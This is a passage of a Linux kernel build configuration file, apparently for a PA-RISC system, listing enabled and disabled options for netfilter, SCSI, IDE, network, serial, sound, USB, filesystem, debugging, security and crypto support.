# CONFIG_IP_NF_RAW is not set
# CONFIG_IP_NF_ARPTABLES is not set

#
# IPv6: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV6=m
# CONFIG_IP6_NF_QUEUE is not set
CONFIG_IP6_NF_IPTABLES=m
# CONFIG_IP6_NF_MATCH_RT is not set
# CONFIG_IP6_NF_MATCH_OPTS is not set
# CONFIG_IP6_NF_MATCH_FRAG is not set
# CONFIG_IP6_NF_MATCH_HL is not set
# CONFIG_IP6_NF_MATCH_IPV6HEADER is not set
# CONFIG_IP6_NF_MATCH_AH is not set
# CONFIG_IP6_NF_MATCH_MH is not set
# CONFIG_IP6_NF_MATCH_EUI64 is not set
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_TARGET_REJECT=m
# CONFIG_IP6_NF_MANGLE is not set
# CONFIG_IP6_NF_RAW is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_SCHED is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set

#
# Wireless
#
# CONFIG_CFG80211 is not set
# CONFIG_WIRELESS_EXT is not set
# CONFIG_MAC80211 is not set
# CONFIG_IEEE80211 is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=m
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
# CONFIG_ENCLOSURE_SERVICES is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=m
CONFIG_BLK_DEV_IDE=m

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_BLK_DEV_IDEDISK=m
CONFIG_IDEDISK_MULTI_MODE=y
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
# CONFIG_BLK_DEV_IDESCSI is not set
# CONFIG_IDE_TASK_IOCTL is not set
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CY82C693 is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT34X is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y
# CONFIG_BLK_DEV_HD_ONLY is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI device support
#
CONFIG_RAID_ATTRS=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_ATA is not set
# CONFIG_MD is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
# CONFIG_NETDEVICES_MULTIQUEUE is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=y
# CONFIG_LASI_82596 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
CONFIG_NET_VENDOR_3COM=y
# CONFIG_EL1 is not set
# CONFIG_EL2 is not set
# CONFIG_EL16 is not set
# CONFIG_EL3 is not set
CONFIG_VORTEX=y
# CONFIG_TYPHOON is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set
# CONFIG_IWLWIFI_LEDS is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_GSCPS2 is not set
# CONFIG_HP_SDC is not set
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_DEVKMEM is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_GEN_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set

#
# Sonics Silicon Backplane
#
CONFIG_SSB_POSSIBLE=y
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y

#
# Sound
#
CONFIG_SOUND=m

#
# Advanced Linux Sound Architecture
#
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
# CONFIG_SND_SEQUENCER is not set
# CONFIG_SND_MIXER_OSS is not set
# CONFIG_SND_PCM_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
# CONFIG_SND_VERBOSE_PROCFS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set

#
# Generic devices
#
CONFIG_SND_AC97_CODEC=m
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set

#
# PCI devices
#
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_AC97_POWER_SAVE is not set

#
# USB devices
#
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_CAIAQ is not set

#
# GSC devices
#
# CONFIG_SND_HARMONY is not set

#
# System on Chip audio support
#
# CONFIG_SND_SOC is not set

#
# ALSA SoC audio for Freescale SOCs
#

#
# SoC Audio for the Texas Instruments OMAP
#

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
# CONFIG_HID_SUPPORT is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
# CONFIG_USB_DEBUG is not set
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=m
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
#

#
# may also be needed; see USB_STORAGE Help for more information
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_MON is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_AUERSWALD is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_PHIDGET is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_GADGET is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
# CONFIG_RTC_CLASS is not set
# CONFIG_UIO is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_FS_XATTR is not set
# CONFIG_EXT4DEV_FS is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_FS_POSIX_ACL is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_DNOTIFY is not set
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=0
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_SPINLOCK_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_INFO=y
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
# CONFIG_KEYS is not set
CONFIG_SECURITY=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_CAPABILITIES=y
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_SECURITY_DEFAULT_MMAP_MIN_ADDR=0
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_MANAGER=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
